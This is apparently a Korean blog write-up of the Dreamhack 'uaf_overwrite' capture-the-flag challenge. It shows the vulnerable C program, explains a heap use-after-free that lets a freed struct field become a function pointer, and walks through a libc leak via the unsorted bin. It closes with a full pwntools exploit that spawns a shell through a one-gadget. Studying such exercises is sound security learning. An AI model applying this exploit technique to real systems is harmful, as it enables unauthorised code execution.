본문 바로가기

System Hacking

[Dreamhack] uaf_overwrite 풀이 - 티스토리

 

 

 

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

 

모든 보호기법이 켜져 있다

 

 

 

 

코드 분석

 

먼저 전역 변수로 human과 robot 구조체를 선언하고 있고, 포인터 변수도 선언하고 있다

human과 robot은 같은 크기의 구조체이므로 human에 메모리 할당 해제 후  robot에 바로 할당을 하면 별도의 초기화 과정이 없으므로 use after free가 발생한다

robot구조체 안에 함수 포인터가 존재하고 이것이 null이 아닐경우 실행한다. 여기서 human에 age변수에 원하는 주소를 넣고 해제 후 uaf를 이용하여 robot의 함수포인터에 할당하면 원하는 주소를 실행가능하다

또한 custom함수에서는 원하는 크기의 청크를 할당 받을 수 있고 해제 또한 할 수 있다. 여기서 역시 별도의 초기화 과정이 없으므로 uaf가 발생한다

 

 

 

 

익스플로잇 설계

 

robot의 함수포인터에 원가젯 주소를 넣거나 RTL을 이용하는 방법이 가능해보인다

강의에서 원가젯을 이용했으므로 원가젯을 이용한 풀이를 정리해보겠다

먼저 원가젯의 주소를 릭하려면 libc의 베이스 주소가 필요하다

여기서 unsorted bin의 특성을 이용해서 libc 특정 주소를 읽어서 릭이 가능하다

 

 

 

 

libc주소 릭

 

unsorted bin에 처음 연결되는 청크는 libc 영역의 특정 주소와 이중 원형 연결리스트를 형성한다.

다시 말해 unsorted bin에 처음 연결되는 청크는 fd와 bk 값으로 libc 영역의 특정 주소를 가진다

따라서 unsorted bin에 처음 연결된 청크를 재할당 후 UAF를 이용하여 libc내 특정 주소를 구할 수 있다

여기서 0x410 이하의 청크는 tcache에 먼저 할당 되므로 그 이상의 청크를 할당해야한다

 

 

** B입력 후 나오는 주소를 릭하면 된다

 

 

 

0xx555555757250 이 주소가 UAF가 발생한 청크의 주소이다

 

 

 

fk부분에 0x00007ffff7dc0a42가 있는걸 확인할 수 있다

 

 

 

0x00007ffff7dc0a42이는 libc내 주소인걸 확인할 수 있다

 

 

 

libc내 임의의 주소와 libc 베이스 주소 차이를 통해 offset을 구했고 실행중 임의의 코드를 읽은 후

 

구한 offset을 빼면 실행 중에 libc 주소를 릭 가능하다

 

 

 

원가젯 offset

 

 

 

libc주소 릭 익스

 

from pwn import*

def custom(size, data, idx):
	p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())
    
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0) # 처음 할당한 청크 해제
custom(0x500, b'B', -1) # 해제된 청크에 재할당하여 UAF 발생
   
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c

 

 

 

 

전체 익스 코드

 

from pwn import*
 
p = remote('host3.dreamhack.games', 21463)
 
def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())
     
def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())
     
def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
	p.sendlineafter(b': ', str(idx).encode())
     
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # 'A'로 덮으면 offset의 하위 바이트가 41로 바뀐다
 
lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c

human(1, og)
robot(1) 

p.interactive()